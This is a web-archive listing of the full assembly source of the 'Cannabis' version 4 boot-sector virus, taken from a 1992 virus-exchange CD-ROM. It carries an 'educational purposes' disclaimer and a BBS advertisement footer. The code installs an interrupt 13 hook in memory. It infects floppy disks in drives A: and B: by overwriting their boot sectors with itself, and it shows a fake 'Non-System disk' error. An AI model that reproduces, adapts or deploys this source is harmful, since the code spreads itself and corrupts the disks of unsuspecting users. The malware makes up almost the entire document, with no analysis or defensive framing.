home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CANNAB4.ZIP / CANNAB4.ASM next >
Assembly Source File  |  1992-11-29  |  9KB  |  265 lines

  1. ;****************************************************************************
  2. ;*  Cannabis    version 4
  3. ;*
  4. ;*  Compile with TASM 2.0
  5. ;*  (other assemblers will probably not produce the same result)
  6. ;*
  7. ;*  Disclaimer:
  8. ;*  This file is only for educational purposes. The author takes no
  9. ;*  responsibility for anything anyone does with this file. Do not
  10. ;*  modify this file!
  11. ;****************************************************************************
  12.  
  13. cseg            segment
  14.                 assume  cs:cseg,ds:cseg,es:nothing
  15.  
  16.                 .RADIX  16
  17.  
  18. BASE            equ     7C00
  19.  
  20.                 org     0
  21.  
  22. begin:          jmp     start
  23.  
  24.                 org     3
  25.  
  26.                 db      'CANNABIS'              ;BIOS parameter block
  27.                 dw      0200
  28.                 db      2
  29.                 dw      1
  30.                 db      2
  31.                 dw      112d
  32.                 dw      720d
  33.                 db      0FDh
  34.                 dw      2
  35.                 dw      9
  36.                 dw      2
  37.                 dw      0
  38.  
  39.                 org     3E
  40.  
  41. start:          cld                             ;initialise segments + stack
  42.                 cli
  43.                 xor     ax,ax
  44.                 mov     ss,ax
  45.                 mov     ds,ax
  46.                 mov     sp,7C00
  47.  
  48.                 mov     bx,offset ni13+BASE     ;check int13 vector
  49.                 mov     ax,ds:[4*13]
  50.                 cmp     ax,bx
  51.                 je      installed
  52.  
  53.                 mov     ds:[oi13+BASE],ax       ;save old vector
  54.                 mov     ax,ds:[4*13+2]
  55.                 mov     di,400
  56.                 mov     ds:[oi13+2+BASE],ax
  57.  
  58.                 mov     ax,ds:[di+13]
  59.                 dec     ax
  60.                 mov     cl,6
  61.                 mov     ds:[di+13],ax
  62.  
  63.                 shl     ax,cl
  64.                 sub     ax,07C0
  65.  
  66.                 mov     cx,0200                 ;copy virus to top
  67.                 mov     di,sp
  68.                 mov     es,ax
  69.                 mov     si,sp
  70.         rep     movsb
  71.  
  72.                 mov     ds:[4*13+2],es          ;set new vector
  73.                 mov     ds:[4*13],bx
  74.  
  75. installed:      xor     ax,ax
  76.                 push    ss
  77.                 pop     es
  78.                 mov     bx,0078
  79.                 lds     si,ss:[bx]              ;ds:si = int 1E (=table ptr)
  80.                 push    ds
  81.                 push    si
  82.                 push    ss
  83.                 push    bx
  84.                 mov     cx,0bh
  85.                 mov     di,7C3Eh                ;move table -> ds:7C3E
  86.         rep     movsb
  87.                 push    es
  88.                 pop     ds
  89.                 mov     cx,ds:[7C18]
  90.                 mov     byte ptr [di-2], 0fh
  91.                 mov     [bx+2],ax
  92.                 mov     [di-7],cl
  93.  
  94.                 mov     word ptr [bx],7C3E
  95.                 sti
  96.                 int     13                      ;reset disk
  97.                 jc      error
  98.                 mov     cx,ds:[7C13]            ;number of sectors
  99.                 mov     ds:[7C20],cx
  100.                 mov     ax,ds:[7C16]            ;calculate root-entry (FAT)
  101.                 shl     ax,1
  102.                 inc     ax
  103.                 mov     ds:[7C49],ax            ;save value
  104.                 mov     ds:[7C50],ax
  105.  
  106.                 mov     ax,ds:[7C11]            ;calculate IO.SYS entry
  107.                 mov     cl,4
  108.                 shr     ax,cl
  109.                 add     ds:[7C49],ax
  110.  
  111.                 mov     ax,ds:[7C50]
  112.                 mov     bx,0500
  113.                 call    readsector
  114.                 jc      error
  115.                 cmp     word ptr [bx], 'OI'     ;IO.SYS ?
  116.                 jne     ibmtest
  117.                 cmp     word ptr [bx+20], 'SM'  ;MSDOS.SYS ?
  118.                 je      continue
  119.                 jmp     short error
  120.  
  121. ibmtest:        cmp     word ptr [bx], 'BI'     ;IBMBIO.COM ?
  122.                 jne     error
  123.                 cmp     word ptr [bx+20], 'BI'  ;IBMDOS.COM ?
  124.                 je      continue
  125.  
  126. error:          mov     si,offset errortxt+BASE   ;print error-message
  127.                 call    print
  128.                 xor     ax,ax
  129.                 int     16                      ;wait for keypress
  130.                 pop     si                      ;restore int 1E vector
  131.                 pop     ds
  132.                 pop     [si]
  133.                 pop     [si+2]
  134.                 int     19                      ;boot again...
  135.  
  136. continue:       mov     cx,3                    ;at ds:0700
  137.                 mov     bx,0700
  138.                 mov     ax,ds:[7C49]            
  139.  
  140. nextsec:        call    readsector
  141.                 jc      error
  142.                 add     bx,0200
  143.                 inc     ax
  144.                 loop    nextsec
  145.  
  146.                 mov     dl,0
  147.                 mov     ch,ds:[7C15]            ;go to begin IO.SYS
  148.                 mov     bx,ds:[7C49]
  149.                 mov     ax,0
  150.                 db      0EA, 0, 0, 70, 0
  151.  
  152.  
  153. ;****************************************************************************
  154. ;*              Read a sector
  155. ;****************************************************************************
  156.  
  157. readsector:     push    cx
  158.                 push    ax
  159.  
  160.                 div     byte ptr ds:[7C18]      ;al=sec/9 (0-160) ah=sec. (0-8)
  161.                 cwd
  162.                 inc     ah                      ;ah=1-9 (sector)
  163.                 shr     al,1                    ;al=0-80 (track)
  164.                 adc     dh,0                    ;dh=0/1 (head) dl=0 (drive)
  165.                 xchg    ah,al
  166.                 mov     cx,0201
  167.                 xchg    ax,cx
  168.                 int     13
  169.  
  170.                 pop     ax
  171.                 pop     cx
  172. return:         ret
  173.  
  174.  
  175. ;****************************************************************************
  176. ;*              Print message
  177. ;****************************************************************************
  178.  
  179. print:          lodsb
  180.                 or      al,al
  181.                 jz      return
  182.                 mov     ah,0Eh
  183.                 mov     bx,7
  184.                 int     10
  185.                 jmp     short print
  186.  
  187.  
  188. ;****************************************************************************
  189. ;*              Int 13 handler
  190. ;****************************************************************************
  191.  
  192. ni13:           push    ax
  193.                 push    ds
  194.                 cmp     ah,4                    ;funktion 0-4?
  195.                 ja      cancel
  196.                 cmp     ch,1
  197.                 ja      cancel
  198.                 test    dx,0FFFEh               ;drive A: or B: ? (head=0)
  199.                 jnz     cancel
  200.                 xor     ax,ax
  201.                 mov     ds,ax
  202.  
  203. infect:         push    cx
  204.                 push    bx
  205.                 push    di
  206.                 push    si
  207.                 push    es
  208.                 mov     ax,0201                 ;read bootsector at 7E00
  209.                 mov     bx,7E00
  210.                 mov     cx,1
  211.                 push    cs
  212.                 push    cs
  213.                 pop     ds
  214.                 pop     es
  215.                 pushf
  216.                 push    cs
  217.                 call    orgint13
  218.                 jc      exit
  219.  
  220.                 mov     di,7C0Bh                ;move BPB to virus
  221.                 mov     cl,33
  222.                 mov     si,7E0Bh
  223.         rep     movsb
  224.  
  225.                 mov     ax,0301                 ;write virus to boot-sector
  226.                 mov     bx,7C00
  227.                 mov     cx,1
  228.                 pushf   
  229.                 push    cs
  230.                 call    orgint13
  231.  
  232. exit:           pop     es
  233.                 pop     si
  234.                 pop     di
  235.                 pop     bx
  236.                 pop     cx
  237.  
  238. cancel:         pop     ds
  239.                 pop     ax
  240. orgint13:       jmp     dword ptr cs:[oi13+BASE]   ;original vector
  241.  
  242.  
  243. ;****************************************************************************
  244. ;*              Data
  245. ;****************************************************************************
  246.  
  247. oi13            dw      ?,?                     ;original int 13 vector
  248.  
  249. errortxt        db      0Dh, 0Ah, 'Non-System disk or disk error'
  250.                 db      0Dh, 0Ah, 'Replace and press a key when ready'
  251.                 db      0Dh, 0Ah, 0
  252.  
  253.         
  254.                 org     01FEh
  255.  
  256.                 db      55, 0AA
  257.  
  258. cseg            ends
  259.                 end     begin
  260.  
  261. ;  ─────────────────────────────────────────────────────────────────────────
  262. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  263. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  264. ;  ─────────────────────────────────────────────────────────────────────────
  265.